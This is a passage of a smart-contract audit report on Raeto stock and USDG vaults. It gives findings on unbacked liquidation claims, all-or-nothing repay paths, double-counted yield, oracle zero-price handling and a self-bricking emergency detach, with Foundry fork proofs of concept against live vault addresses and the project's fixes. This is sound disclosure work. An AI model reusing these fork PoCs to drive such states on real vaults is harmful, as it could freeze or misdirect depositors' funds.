        assertEq(V.totalShares(), 0, "vault empty again");
        assertGt(owedBob, 0, "unbacked claim survives the wipe");

        // Reopen: price normal, market repaid, a new depositor arrives and the keeper re-levers.
        vm.clearMockedCalls();
        _borrowerRepaysAll();
        uint256 sc = _deposit(carol, 1e18);
        vm.prank(V.keeper());
        V.rebalance();
        assertTrue(V.inLoss(), "in loss the moment the keeper borrows against Carol's stock");

        //@test the old unbacked claim is paid out of the USDG borrowed against the new depositor's
stock
        vm.prank(bob);
        uint256 paidBob = V.claimLiquidation();
        assertGt(paidBob, 0, "old claim paid after reopen");

        //@test Carol can only get her stock back by covering that claim with her own USDG
        deal(address(usdg), carol, 1_000e6);
        vm.prank(carol);
        usdg.approve(address(V), type(uint256).max);
        uint256 before = usdg.balanceOf(carol);
        vm.prank(carol);
        uint256 out = V.withdrawTo(sc, carol, 0, type(uint256).max);
        uint256 paidIn = before - usdg.balanceOf(carol);
        console2.log("bob paid after reopen:", paidBob);
        console2.log("carol stock out / USDG she had to add:", out, paidIn);
        assertEq(out, 1e18, "stock back");
        assertApproxEqAbs(paidIn, paidBob, 20, "the new depositor funds the old claim");
    }

    /// Control: the same liquidation on a whole (not in loss) vault keeps the pool backed and claim
order
```

```
    /// does not matter.
    function test_control_wholeVault_poolBacked_bothPaidEqually() public {
        _use(TSLA);
        _deposit(alice, 1e18);
        _deposit(bob, 1e18);
        _setPrice(p0 * 9 / 100);
        _liquidateShares(_bs() / 2);
        V.accrue();
        assertLe(V.liquidationPool(), _grossUsdg(), "pool stays backed when whole");
        vm.prank(alice);
        uint256 paidA = V.claimLiquidation();
        vm.prank(bob);
        uint256 paidB = V.claimLiquidation();
        assertApproxEqAbs(paidA, paidB, 1, "order does not matter when backed");
    }
}
```

```
[PASS] test_firstClaimantPaidInFull_secondLeftShort()
  repaid / gross held: 126057540 78090826
  owed / first paid / second paid: 46891895 46891895 31198931
[PASS] test_unbackedClaimsSurviveReopenAndHitNewDepositor()
  alice paid / bob paid at close-out: 148326028 52016442
  bob still owed, carried into the reopen: 96309586
  bob paid after reopen: 96309586
  carol stock out / USDG she had to add: 1000000000000000000 96309589
[PASS] test_control_wholeVault_poolBacked_bothPaidEqually()
```

RECOMMENDATION

Cap `freed` at the vault's post-liquidation equity, not just the USDG it holds - `usdgAssets()` nets out the pool but not the debt, so subtract the remaining debt as well:

```
uint256 a = usdgAssets();
if (bs == 0) {
    freed = a > pendingYield ? a - pendingYield : 0;      // full wipe: debt is 0
} else {
    uint256 reserved = pendingYield + _toAssetsUp(bs);     // treasury pending + remaining debt
    uint256 avail = a > reserved ? a - reserved : 0;
    freed = Math.min(_toAssetsDown(exp - bs), avail);
}
```

This generalises the contract's own full-wipe branch (which credits `usdgAssets() - pendingYield` at debt 0) to the partial case; in the PoC it credits 0 - correct, since the vault is still underwater (debt 126.06 > 78.09 held) - where the current code credits 126.06. Treat it as a starting point: also account for what the sink can actually withdraw, the reserve, and Morpho's share-rounding.

The uncredited loss then stays in `debt` and is shared through the withdrawal gap (order-neutral). Also ring-fence `liquidationPool` so the repay paths can't spend USDG owed to claimants, and pay `claimLiquidation` pro-rata rather than first-come-first-served.

REMEDIATION FIXED

RAETO

Confirmed, Medium. Fixed: before a liquidation's claims are computed, `_accrue` books everything that happened before it against the loan as it stood, with any loss absorbed by `pendingYield`. `freed` is then capped at the vault's post-liquidation equity, `min(repaid, usdgAssets() - (pendingYield + debt after))`; the uncredited loss stays in the debt and is shared order-neutrally through the withdrawal gap. Claims stay at face value, and `liqScale()` gives every claim the same ratio of the USDG held, so claim order no longer matters; as the sink recovers, claims return to face value before anything counts as interest. While claims are worth less than face value, deposits and new borrowing are closed. `usdgAssets()` nets out the claims, and repay paths never spend more than `usdgAssets()`.

M-02 Once a stock vault is in loss, every repay path is all-or-nothing, so the debt compounds against USDG the vault holds and a holder without spare USDG can't exit

SEVERITY ● MEDIUM STATUS ● FIXED LOCATION RaetoStockVault.sol

Contract: `RaetoStockVault.sol` L352, L541, L580 · Reproduced on the live TSLA vault

SUMMARY

When a stock vault holds less USDG than it owes (by more than `dustTolerance`), `unwind` must repay the whole loan, `deleverage` / `rebalance` repay down to the full target, and `_ensureIdle` reverts unless the sink can produce the full amount. None repays "as much as the vault holds". So the loan keeps accruing at the market rate - high precisely when this happens - even though the vault is holding almost enough USDG to clear it. Deposits are closed, and a holder without spare USDG cannot withdraw. The only exit is outside money: `cover` the gap, then `unwind`.

FINDING DESCRIPTION

`unwind` is documented "repay the whole loan... when borrowing costs more than the sink pays" - the negative-carry case - and in that case it reverts:

```
function unwind() external nonReentrant onlyKeeper {
    ...
    uint256 shares = morpho.position(marketId, address(this)).borrowShares;
    if (shares > 0) _repayShares(shares);    // repays ALL shares
}
// _repayShares → _ensureIdle(fullDebt); _ensureIdle (L599): sink.withdraw(need) reverts when need > sink value + dust
```

`_rebalance` repays `d - target` and only when `ltv > maxLtv`. No path repays `min(debt, available)`. `harvest` leaves only `dust + debt/10_000` in `pendingYield`, so the buffer that keeps the vault whole runs out in hours once carry turns negative.

ATTACK PATH

No attacker; market-driven negative carry (one cause drives it; a sink loss does the same).

1. The market's borrow rate rises above the sink's yield (tiny markets; AdaptiveCurve compounds the rate above 90% utilisation; four of five markets are at ~90% today).
2. The harvest buffer is used up and `inLoss()` becomes true.
3. From then on, while LTV is still inside the band: `unwind` reverts, `rebalance` no-ops, `deleverage` reverts `Healthy`, `deposit` / `withdraw` revert `InLoss`, and the debt compounds.

IMPACT

All holders, especially those without USDG to pay their gap. On the TSLA vault: at day 21 the vault holds 77.63 USDG against 78.86 debt (LTV 20.8%, inside the band) and every repay path fails; by day 51 the debt is 122.72 and the loss 44.83, of which ~43 USDG is interest on debt the vault held the USDG to repay. Recovery needed 2.22 USDG of outside money. This is a failure to deleverage progressively: a holder who brings USDG can still exit via `maxShortfallIn`, but one without spare USDG is stuck while the debt grows.

LIKELIHOOD

Low–medium. Negative carry needs the borrow rate above the sink APY, which the small markets and AdaptiveCurve make reachable, but the keeper can `unwind` *before* the vault tips into loss, and `cover` ends it. The window where nothing works is the gap between those.

PROOF OF CONCEPT

Full PoC file `test/report/InLossRepayBricked.t.sol` (live TSLA vault):

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {IMorpho, MarketParams, Market, Id} from "morpho-blue/interfaces/IMorpho.sol";
import {RaetoStockVault} from "../../src/RaetoStockVault.sol";

/// Once a RaetoStockVault is in loss, every repay path is all-or-nothing: unwind repays the whole loan,
/// deleverage/rebalance repay to the full target, and _ensureIdle reverts unless the sink can produce
the
/// full amount. None repays "as much as the vault holds", so the debt keeps compounding against USDG
the
/// vault is already holding, and a holder without spare USDG cannot exit. The only way out is outside
money
/// (cover). Runs against the live TSLA vault.
/// Run (from raeto-vaults/):
///   ROBINHOOD_RPC=<archive rpc> FOUNDRY_EVM_VERSION=cancun forge test --match-path
test/report/InLossRepayBricked.t.sol --isolate -vv
contract InLossRepayBrickedTest is Test {
    uint256 constant FORK_BLOCK = 105_650_000;
    RaetoStockVault constant V = RaetoStockVault(0x1510079e4ffB0Cf25Be5342DB784066fB16Ff5EB); // TSLA

    IMorpho morpho;
    IERC20 stock;
    IERC20 usdg;
    MarketParams mp;
    Id id;
    address keeper;
    address holder = makeAddr("holder");
    address borrower = makeAddr("borrower");

    function setUp() public {
        vm.createSelectFork(vm.envString("ROBINHOOD_RPC"), FORK_BLOCK);
        morpho = V.morpho();
        stock = V.stock();
        usdg = V.usdg();
        mp = V.marketParams();
        id = V.marketId();
        keeper = V.keeper();
    }

    // Push the market to 100% utilisation so the AdaptiveCurve rate runs far above the sink yield
(negative carry).
    function _drainMarket() internal {
        morpho.accrueInterest(mp);
        Market memory m = morpho.market(id);
        uint256 liquidity = uint256(m.totalSupplyAssets) - uint256(m.totalBorrowAssets);
        deal(address(stock), borrower, 50e18);
        vm.startPrank(borrower);
        stock.approve(address(morpho), 50e18);
        morpho.supplyCollateral(mp, 50e18, borrower, "");
        morpho.borrow(mp, liquidity, 0, borrower, borrower);
        vm.stopPrank();
    }
```

```
function test_inLoss_everyRepayPathFails_debtCompounds() public {
    deal(address(stock), holder, 0.3e18);
    vm.startPrank(holder);
    stock.approve(address(V), 0.3e18);
    uint256 sh = V.deposit(0.3e18);
    vm.stopPrank();

    _drainMarket();
    vm.warp(block.timestamp + 21 days);
    V.accrue();
    assertTrue(V.inLoss(), "in loss");
    uint256 debt1 = V.debt();
    console2.log("day 21: debt / USDG held:", debt1, V.usdgAssets());
    console2.log("day 21: ltv / maxLtv:", V.ltv(), V.maxLtv());
    //@test the vault holds ~98% of the debt as USDG, with LTV still inside the band
    assertGt(V.usdgAssets(), debt1 * 98 / 100);
    assertLt(V.ltv(), V.maxLtv());

    // No repay path moves a partial amount, so none repays the debt the vault could cover:
    vm.prank(keeper);
    vm.expectRevert();
    V.unwind(); // repays the WHOLE loan → _ensureIdle(debt) reverts: sink < debt
    vm.prank(keeper);
    V.rebalance(); // no-ops: LTV in band, no borrow room
    vm.expectRevert(RaetoStockVault.Healthy.selector);
    V.deleverage(); // refuses: LTV not above max
    vm.prank(holder);
    vm.expectRevert(RaetoStockVault.InLoss.selector);
    V.withdraw(sh); // a holder without spare USDG can't exit
    deal(address(stock), address(this), 0.1e18);
    stock.approve(address(V), 0.1e18);
    vm.expectRevert(RaetoStockVault.InLoss.selector);
    V.deposit(0.1e18); // deposits closed

    //@test nothing repaid the coverable debt, so it compounds for 30 more days
    vm.warp(block.timestamp + 30 days);
    V.accrue();
    uint256 debt2 = V.debt();
    console2.log("day 51: debt / loss:", debt2, debt2 - V.usdgAssets());
    assertGt(debt2, debt1, "debt kept compounding while the vault held the USDG to stop it");
}

/// Recovery needs outside USDG: cover the gap, then unwind works.
function test_recoveryNeedsOutsideUsdg() public {
    _drainMarket();
    vm.warp(block.timestamp + 21 days);
    V.accrue();
    assertTrue(V.inLoss());
    uint256 gap = V.debt() - V.usdgAssets() + 1e6; // shortfall plus a small buffer
    deal(address(usdg), address(this), gap);
    usdg.approve(address(V), gap);
    V.cover(gap);
    vm.prank(keeper);
    V.unwind(); // the sink can now cover the full debt
    assertEq(V.debt(), 0);
    console2.log("outside USDG needed to unwind:", gap);
```

```
    }
}
```

```
[PASS] test_inLoss_everyRepayPathFails_debtCompounds()
  day 21: debt / USDG held: 78856481 77631808
  day 21: ltv / maxLtv:     208294227886394576 380000000000000000   (20.8% vs 38%)
  day 51: debt / loss:      122720390 44836067
[PASS] test_recoveryNeedsOutsideUsdg()
  outside USDG needed to unwind: 2224673
```

RECOMMENDATION

Let `unwind` and `_rebalance`'s repay branch repay what the vault can, not all-or-nothing:

```
function _repayUpTo(uint256 wantAssets) internal {
    uint256 avail = _depositorUsdgAvailable();          // idle - reserve + sink - liquidationPool - pendingYield
    uint256 amt = Math.min(wantAssets, avail);
    if (amt == 0) return;
    _ensureIdle(amt);
    usdg.forceApprove(address(morpho), amt);
    morpho.repay(marketParams(), amt, 0, address(this), "");
    usdg.forceApprove(address(morpho), 0);
}
```

Call it from `unwind` with `wantAssets = debt`, and let `deleverage` run while `inLoss()`, not only when `ltv > maxLtv`. Interest then accrues only on the real shortfall. `_depositorUsdgAvailable()` must reflect what the sink can actually withdraw right now (not just `convertToAssets`), and the repay must handle Morpho's share-rounding.

REMEDIATION ● FIXED

RAETO

Confirmed, Medium. Fixed: `unwind()`, `deleverage()` and the repay branch of `_rebalance()` now go through `_repayUpTo`, which withdraws what the sink can pay now (`try` / `catch`, falling back to `maxWithdraw`), repays as much as the vault's USDG covers and emits `RepaymentDeferred` for the rest. `unwind()` closes the loan by shares when it can, using at most `dustTolerance` of the reserve. `deleverage()` can be called by anyone while the vault is in loss and repays all it can, so interest only runs on the real shortfall. `withdrawTo()` keeps the exact path, where the withdrawer approves a shortfall bound, and holders can still exit by paying their pro-rata share of what is left.

L-01 Recovery After Temporary Loss Double-Counts Historical earned Accounting

SEVERITY LOW STATUS FIXED LOCATION RaetoVault.sol RaetoStockVault.sol

SUMMARY

When a temporary loss occurs, `_accrue()` in both `RaetoVault` and `RaetoStockVault` reduces `pendingYield` but does not adjust or track historical user credit indexes. When the lost value subsequently recovers, `_accrue()` treats the recovery as new yield, advancing `accPerPrincipal` / `accPerShare` and `totalEarned` a second time.

AFFECTED CODE

`RaetoVault.sol:405-428` and `RaetoStockVault.sol:502-522` have the same structure:

```
if (equity > pending) {
    // Advances user index and totalEarned
    accPerShare += inc;
    pendingYield = pending + y;
    totalEarned += y;
} else if (equity < pending) {
    // Only pendingYield is reduced; user index and historical credits remain unchanged
    pendingYield = equity;
}
```

IMPACT

`earned` and `totalEarned` are cumulative historical accounting metrics rather than net-yield metrics. If off-chain services or external reward systems grant AI inference credits based on `earned`, users receive duplicate credits for recovered losses without extra economic yield having been generated.

RECOMMENDED REMEDIATION

Track `unrecoveredYieldLoss`. When a loss occurs, increase `unrecoveredYieldLoss`. When a subsequent recovery occurs, restore `unrecoveredYieldLoss` and `pendingYield` up to the lost amount before increasing user accrual indexes (`accPerShare` / `accPerPrincipal`) or `totalEarned`.

```
+   uint256 public unrecoveredYieldLoss;

    // _accrue(), when equity > pending
-   uint256 y = equity - pending;
+   uint256 gain = equity - pending;
+   uint256 restored = gain < unrecoveredYieldLoss ? gain : unrecoveredYieldLoss;
+   if (restored != 0) {
+       pending += restored;
+       pendingYield = pending;
+       unrecoveredYieldLoss -= restored;
+       gain -= restored;
+   }
+   if (gain == 0) return;
-   uint256 inc = Math.mulDiv(y, ACC_SCALE, ts);
+   uint256 inc = Math.mulDiv(gain, ACC_SCALE, ts);
    accPerShare += inc;
-   pendingYield = pending + y;
-   totalEarned += y;
+   pendingYield = pending + gain;
+   totalEarned += gain;

    // _accrue(), when equity < pending
+   unrecoveredYieldLoss += pending - equity;
    pendingYield = equity;
```

Analogous adjustments apply to `RaetoVault` using `totalPrincipal` / `accPerPrincipal` and `assets - owed`.

Regression check: credit yield, apply a temporary loss, recover exactly that loss, and assert that the user index remains at its original value.

REMEDIATION ● FIXED

RAETO

Confirmed, Low. Fixed in both vaults: a new `unrecoveredLoss` records the pending yield a loss takes. A later recovery refills `pendingYield` from it first, and only value beyond that is credited to `accPerShare` / `accPerPrincipal` and `totalEarned`. `earnedIncludingPending` applies the same rule.

L-02 collateralValue() Delegates Zero-Price and Freshness Validation Entirely to Morpho Oracle

SEVERITY LOW STATUS FIXED LOCATION RaetoStockVault.sol

SUMMARY

`RaetoStockVault::collateralValue()` consumes `IOracle(oracle).price()` directly without local validation for zero values, staleness, heartbeat thresholds, or sequencer uptime.

AFFECTED CODE

`RaetoStockVault.sol:186-188` :

```
function collateralValue() public view returns (uint256) {
    return Math.mulDiv(collateral(), IOracle(oracle).price(), ORACLE_SCALE);
}
```

IMPACT

If the external Morpho oracle adapter returns zero or corrupted stale data rather than reverting, `collateralValue()` drops to zero and `ltv()` becomes `type(uint256).max`, causing the vault to appear maximally leveraged and misrepresenting risk.

RECOMMENDED REMEDIATION

Validate the return value of `IOracle(oracle).price()`. Add an explicit non-zero guard in `collateralValue()` and perhaps enforce a staleness check of the price. Additionally, verify that the configured Morpho oracle adapter contract internally enforces heartbeat, and L2 sequencer uptime checks (as `IOracle` exposes no round metadata).

```
+   error InvalidOraclePrice();

    function collateralValue() public view returns (uint256) {
-       return Math.mulDiv(collateral(), IOracle(oracle).price(), ORACLE_SCALE);
+       uint256 price = IOracle(oracle).price();
+       if (price == 0) revert InvalidOraclePrice();
+       return Math.mulDiv(collateral(), price, ORACLE_SCALE);
    }
```

Regression check: configure a test oracle that returns zero and assert that `collateralValue()` reverts with `InvalidOraclePrice` rather than returning zero and forcing `ltv()` to `type(uint256).max`.

REMEDIATION FIXED

RAETO

Confirmed, Low. Fixed: `collateralValue()` now reverts with `BadPrice` on a zero price, and a new owner-set sanity range, `setPriceBounds(floor, ceiling)` (0 means no bound on that side; set at deployment), gates borrowing: `_rebalance` only borrows on a non-zero price inside the range. Repaying is deliberately not gated: in a real crash below the floor, deleveraging beats being liquidated, and a misprinted low price can only cost yield. Staleness is acknowledged: `IOracle` exposes no timestamp, so it cannot be checked in the vault. Morpho relies on the same oracle for liquidations, and the vault's loan-to-value band (max 38-45%) leaves a wide margin to the 62.5% LLTV. The oracle adapter's heartbeat handling is outside these contracts.

L-03 If the Morpho USDG vault's view reverts, RaetoVault's rescued USDG and every stock vault freeze, with no working escape

SEVERITY ● LOW STATUS ● FIXED LOCATION `RaetoVault.sol` `RaetoStockVault.sol`

Contract: `RaetoVault.sol` L131, L321 · `RaetoStockVault.sol` L182 (all five stock vaults) · Reproduced on the live vaults

SUMMARY

`totalAssets()` always values the source when one is set, even when the vault holds 0 shares. After an emergency `pullToIdle(max)` the vault holds 0 shares and all USDG sits idle, but if the source's view functions (`convertToAssets`) start reverting before the owner detaches it, every value-moving path reverts - including `goIdle()`, the function whose job is to detach the source, because it calls `_accrue()` → `totalAssets()` → the source first. The rescued idle USDG is frozen with no on-chain way out.

The stock vaults have the same dependency and no escape at all: `usdgAssets()` values the same Morpho vault (their immutable `sink`) on every path, so the same trigger freezes all five, including the holders' stock.

FINDING DESCRIPTION

```
function totalAssets() public view returns (uint256) {
    uint256 idle = asset.balanceOf(address(this));
    IERC4626 s = source;
    if (address(s) == address(0)) return idle;
    return idle + s.convertToAssets(s.balanceOf(address(this))); // L131: called even when balanceOf ==
0
}
```

The only way to set `source` back to zero is `goIdle()` (L319), which starts with `_accrue()` → `totalAssets()`. So the escape hatch depends on the very source it is trying to detach. `executeSource`, `pullToIdle`, `harvest`, `withdraw`, `accrue` and `claimRewards` all route through `totalAssets()` too; `sweep(USDG)` is refused with `ProtectedToken`. Nothing left can move the idle USDG.

The share balance `totalAssets()` keys on is externally writable: after `pullToIdle(max)`, anyone can `source.deposit(1, address(vault))` and hand the vault dust shares, so any recovery gated on the vault holding 0 shares can be undone by a third party for 1 wei.

THE SAME FREEZE IN EVERY RAETOSTOCKVAULT

```
function usdgAssets() public view returns (uint256) {
    uint256 idle = usdg.balanceOf(address(this));
    uint256 gross = (idle > reserve ? idle - reserve : 0) +
sink.convertToAssets(sink.balanceOf(address(this))); // L182
    return gross > liquidationPool ? gross - liquidationPool : 0;
}
```

Every stock-vault path that moves value starts with `_accrue()` → `usdgAssets()` → `sink.convertToAssets()`. The sink is the same Morpho USDG vault, so if its view reverts, `deposit`, `withdrawTo`, `claimLiquidation`,

`closeOutWiped`, `accrue`, `harvest`, `rebalance`, `deleverage` and `unwind` all revert on all five vaults. Only `cover`, `fundReserve` and `pushIdle`, which don't accrue, still go through. There is no escape hatch here: `sink` is `immutable`, so no owner function can detach it. The frozen asset also includes the holders' stock, which the broken vault doesn't even hold, because a stock exit must first repay its share of the Morpho loan from the sink. Morpho can still liquidate a frozen vault, but the vault can no longer `deleverage` to head that off.

ATTACK PATH

No attacker - a dependency malfunction plus an emergency state.

1. The owner reacts to trouble at the source with `pullToIdle(max)`: all USDG is now idle in the vault, which holds 0 shares. (A natural reason to hold here rather than `goIdle` immediately: to wait out the scare and `pushToSource` again if it passes.)
2. Before the owner detaches the source, the source's view functions begin reverting (e.g. a Morpho market behind its non-upgradeable adapter enters a pathological state).
3. `withdraw`, `accrue`, `harvest`, `goIdle`, `executeSource` and `claimRewards` all revert; `sweep(USDG)` is blocked. The whole vault is frozen.

IMPACT

The entire vault freezes with no on-chain recovery until the source's views work again - 940.46 USDG (all depositors) on the fork. Funds are frozen, not lost; they return if the source recovers.

On the stock vaults the freeze covers the holders' stock as well as their USDG (0.688 TSLA, 0.617 NVDA and 0.474 GOOGL in the three funded vaults at block 105,639,601), with no owner recovery at all until the Morpho vault's view works again.

LIKELIHOOD

Low. The trigger is a source *view* reverting, which no one can force (the live adapter's valuation is non-upgradeable, pure arithmetic, with no permissionless lever) and which should not happen under normal operation. It needs that rare malfunction to land in the window after `pullToIdle(max)` succeeded and before the owner detaches the source. What raises the impact is the self-bricking escape hatch: an emergency detach path that depends on the thing it detaches, with the whole vault and no recovery at stake.

The stock-vault side doesn't even need the `pullToIdle` window: the view reverting at any time is enough. That trigger is just as far out of an attacker's reach.

PROOF OF CONCEPT

Full PoC file `test/report/BrokenSourceFreezesIdleFunds.t.sol` (RaetoVault + a stock vault):

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";
import {RaetoVault} from "../../src/RaetoVault.sol";
import {RaetoStockVault} from "../../src/RaetoStockVault.sol";

/// After pullToIdle(max) the vault holds 0 source shares, but totalAssets() still calls
/// source.convertToAssets(balanceOf). If the source's view starts reverting before the owner detaches
it,
/// every value-moving path reverts - and goIdle(), the escape hatch, bricks itself because it runs
_accrue()
/// (→ totalAssets()) and then _redeemAll(), both of which touch the source. The USDG already rescued
to idle
/// is frozen. A fix keyed on "0 shares" does not hold: anyone can deposit 1 wei into the source for the
vault,
/// so it holds dust shares again; only an unconditional detach that never calls the source works. The
same
/// trigger freezes every RaetoStockVault, whose sink is immutable (no detach at all). Live vaults.
/// Run (from raeto-vaults/):
///   ROBINHOOD_RPC=<archive rpc> FOUNDRY_EVM_VERSION=cancun forge test --match-path
test/report/BrokenSourceFreezesIdleFunds.t.sol --isolate -vv
contract StubSource {
    address public immutable asset; // queueSource() only reads asset()
    constructor(address a) { asset = a; }
}

contract BrokenSourceFreezesIdleFundsTest is Test {
    uint256 constant FORK_BLOCK = 105_639_601;
    RaetoVault constant RV = RaetoVault(0x6f9c9BD7F89D230Ec2ee34037e09b27848e4bd6B);
    IERC4626 constant V2 = IERC4626(0xBeEff033F34C046626B8D0A041844C5d1A5409dd); // the source
(steakUSDG VaultV2)
    IERC20 constant USDG = IERC20(0x5fc5360D0400a0Fd4f2af552ADD042D716F1d168);
    address constant ADAPTER = 0x44ABc1d6cCFF2696d98890B92E2157AF242179c2; // the source's only adapter
    address constant USER = address(0xA11CE); // placeholder: any depositor with live principal

    uint256 constant SOURCE_SLOT = 3; // RaetoVault.source (forge inspect storage-layout)
    bytes constant DOWN = "adapter down"; // the source's revert data, bubbled up unchanged
    address owner;

    function setUp() public {
        vm.createSelectFork(vm.envString("ROBINHOOD_RPC"), FORK_BLOCK);
        owner = RV.owner();
    }

    function _pullEverythingToIdle() internal {
        vm.prank(owner);
        RV.pullToIdle(type(uint256).max); // emergency: pull all USDG out of the source (also pauses
deposits)
        assertEq(V2.balanceOf(address(RV)), 0, "vault holds 0 source shares");
    }

    function _breakSourceViews() internal {
```

```
        vm.mockCallRevert(ADAPTER, abi.encodeWithSignature("realAssets()"), DOWN); // source valuation
starts reverting
    }

    // Anyone can hand the vault source shares again: ERC-4626 deposit() names any receiver, source
gates nobody.
    function _giveTheVaultDustShares() internal returns (uint256 dust) {
        address anyone = makeAddr("anyone");
        deal(address(USDG), anyone, 1);
        vm.startPrank(anyone);
        USDG.approve(address(V2), 1);
        V2.deposit(1, address(RV));
        vm.stopPrank();
        dust = V2.balanceOf(address(RV));
    }

    function test_rescuedIdleFundsAreFrozenAndEscapeHatchBricks() public {
        _pullEverythingToIdle();
        _breakSourceViews(); // after the pull, before the owner detaches the source

        uint256 idle = USDG.balanceOf(address(RV));
        console2.log("USDG held by the vault itself:", idle);
        console2.log("vault's source shares:        ", V2.balanceOf(address(RV)));

        //@test vault holds 0 shares, yet totalAssets() still calls source.convertToAssets(0)
        vm.expectRevert(DOWN);
        RV.totalAssets();

        uint256 principal = RV.principalOf(USER);
        vm.prank(USER);
        vm.expectRevert(DOWN);
        RV.withdraw(principal); // users can't withdraw idle USDG
        vm.expectRevert(DOWN);
        RV.accrue();
        vm.prank(RV.keeper());
        vm.expectRevert(DOWN);
        RV.harvest(type(uint256).max);

        //@test the escape hatch bricks itself: goIdle() → _accrue() → totalAssets() → the source
        vm.prank(owner);
        vm.expectRevert(DOWN);
        RV.goIdle();

        // nor migrate to another source (executeSource accrues first), nor sweep / claim the USDG
        StubSource next = new StubSource(address(USDG));
        vm.prank(owner);
        RV.queueSource(IERC4626(address(next)));
        vm.warp(block.timestamp + RV.SOURCE_DELAY());
        vm.prank(owner);
        vm.expectRevert(DOWN);
        RV.executeSource();
        vm.prank(owner);
        vm.expectRevert(RaetoVault.ProtectedToken.selector);
        RV.sweep(USDG);
        vm.prank(owner);
        vm.expectRevert(DOWN);
        RV.claimRewards(address(0xBEEF), "");
```

```
        assertEq(USDG.balanceOf(address(RV)), idle, "whole vault frozen in place");
    }

    /// A fix keyed on "0 shares" is undone for 1 wei: after a dust deposit the skip no longer applies,
so
    /// totalAssets() values the dust and reverts again, and goIdle would still redeem that dust via the
source.
    function test_zeroShareValuationSkipIsDefeatedByOneWeiDeposit() public {
        _pullEverythingToIdle();
        uint256 dust = _giveTheVaultDustShares();
        console2.log("shares the vault holds again / their value:", dust, V2.convertToAssets(dust));
        assertGt(dust, 0);

        _breakSourceViews();
        vm.mockCall(address(V2), abi.encodeCall(IERC4626.convertToAssets, (0)), abi.encode(uint256(0)));
// stand in for the 0-share skip

        //@test still frozen: totalAssets() values `dust`, not 0, so the skip is bypassed
        uint256 principal = RV.principalOf(USER);
        vm.prank(USER);
        vm.expectRevert(DOWN);
        RV.withdraw(principal);
        vm.prank(address(RV));
        vm.expectRevert(DOWN);
        V2.redeem(dust, address(RV), address(RV)); // goIdle's redeem runs the same valuation
    }

    /// The fix that works, dust or not: a detach that sets source=0 WITHOUT calling the source (no
_accrue, no
    /// redeem). Stood in for by clearing the `source` slot directly; dust shares are written off.
    function test_detachWithoutCallingSourceUnfreezes() public {
        _pullEverythingToIdle();
        _giveTheVaultDustShares();
        _breakSourceViews();

        vm.store(address(RV), bytes32(SOURCE_SLOT), bytes32(0)); //@test detachSource(): source = 0,
never calling the source
        assertEq(address(RV.source()), address(0), "source detached");

        uint256 principal = RV.principalOf(USER);
        vm.prank(USER);
        assertEq(RV.withdraw(principal), principal, "user recovers full principal");
    }

    /// Scope: shares still inside a broken source are stuck regardless (its own redeem runs the same
    /// valuation), so only USDG already pulled to idle is the incremental harm.
    function test_sharesInBrokenSourceAreStuckAnyway() public {
        _breakSourceViews();
        uint256 shares = V2.balanceOf(address(RV));
        vm.prank(address(RV));
        vm.expectRevert(DOWN);
        V2.redeem(shares, address(RV), address(RV));
    }

    /// The same trigger freezes every RaetoStockVault, whose sink is this same Morpho vault and is
immutable,
```

```
    /// so there is no detach at all - and the frozen asset includes the holders' stock.
    function test_stockVaultFreezesWithNoEscapeWhenTheSinkViewReverts() public {
        RaetoStockVault sv = RaetoStockVault(0x1510079e4ffB0Cf25Be5342DB784066fB16Ff5EB); // TSLA: live
holders and debt
        IERC20 stock = sv.stock();
        address holder = makeAddr("holder");
        deal(address(stock), holder, 1e17);
        vm.startPrank(holder);
        stock.approve(address(sv), 1e17);
        uint256 shares = sv.deposit(1e17);
        vm.stopPrank();

        _breakSourceViews();

        //@test every value path starts with _accrue() → usdgAssets() → sink.convertToAssets()
        vm.prank(holder);
        vm.expectRevert(DOWN);
        sv.withdrawTo(shares, holder, 0, 0);
        vm.prank(holder);
        vm.expectRevert(DOWN);
        sv.claimLiquidation();
        vm.expectRevert(DOWN);
        sv.deleverage();
        vm.startPrank(sv.keeper());
        vm.expectRevert(DOWN);
        sv.unwind();
        vm.expectRevert(DOWN);
        sv.harvest(type(uint256).max);
        vm.stopPrank();
        //@test and no way to detach it: `sink` is immutable
        assertEq(address(sv.sink()), address(V2));
        console2.log("TSLA held for holders, frozen in Morpho:", sv.collateral());
    }
}
```

```
[PASS] test_rescuedIdleFundsAreFrozenAndEscapeHatchBricks()
  USDG held by the vault itself: 940456919
  vault's source shares:         0
[PASS] test_zeroShareValuationSkipIsDefeatedByOneWeiDeposit()
  shares the vault holds again / their value: 987838912018 0
[PASS] test_detachWithoutCallingSourceUnfreezes()
[PASS] test_sharesInBrokenSourceAreStuckAnyway()
[PASS] test_stockVaultFreezesWithNoEscapeWhenTheSinkViewReverts()
  TSLA held for holders, frozen in Morpho: 788258564201647404
```

RECOMMENDATION

Add an owner-only emergency detach that sets `source` to zero **without calling the source** (no `_accrue`, no valuation, no redeem), alongside the existing `goIdle()` for the clean case. It is a write-off - any shares held are abandoned (unredeemable anyway if the source's views revert), so emit them for monitoring:

```
/// Emergency: stop using the source without calling it. Any shares held are written off.
function detachSource() external onlyOwner {
    IERC4626 old = source;
    if (address(old) == address(0)) revert NoSource();
    uint256 abandonedShares = old.balanceOf(address(this)); // plain ERC-20 read, not the reverting
valuation
    source = IERC4626(address(0));
    asset.forceApprove(address(old), 0);                    // a USDG call, not a source call
    emit SourceDetached(address(old), abandonedShares, asset.balanceOf(address(this)));
}
```

REMEDIATION ● FIXED

RAETO

Confirmed, Low. Fixed: RaetoVault has a new owner-only `detachSource()` that sets `source` to zero without calling it (no `_accrue`, valuation or redeem) and pauses deposits. The shares are kept and stay protected from `sweep` and `claimRewards`, and `redeemRetired(source)` recovers them once the source works again. In RaetoStockVault, `sink` is no longer immutable, `detachSink()` and `redeemRetired(sink)` work the same way, and every sink call is skipped while no sink is set. While a detach is pending, exits pause so nobody leaves at a price that ignores assets that may still come back; they resume once the shares are redeemed or the owner accepts the loss with `acceptDetachLoss`. In the reported scenario the owner calls `detachSource()` and then `acceptDetachLoss(source)`, and users withdraw in full. The owner, a multisig, decides how long exits stay paused during a detach.

L-04 A gift-repay is misbooked as a liquidation, and cover() never accrues, so unbooked value can be redirected from the treasury to holders

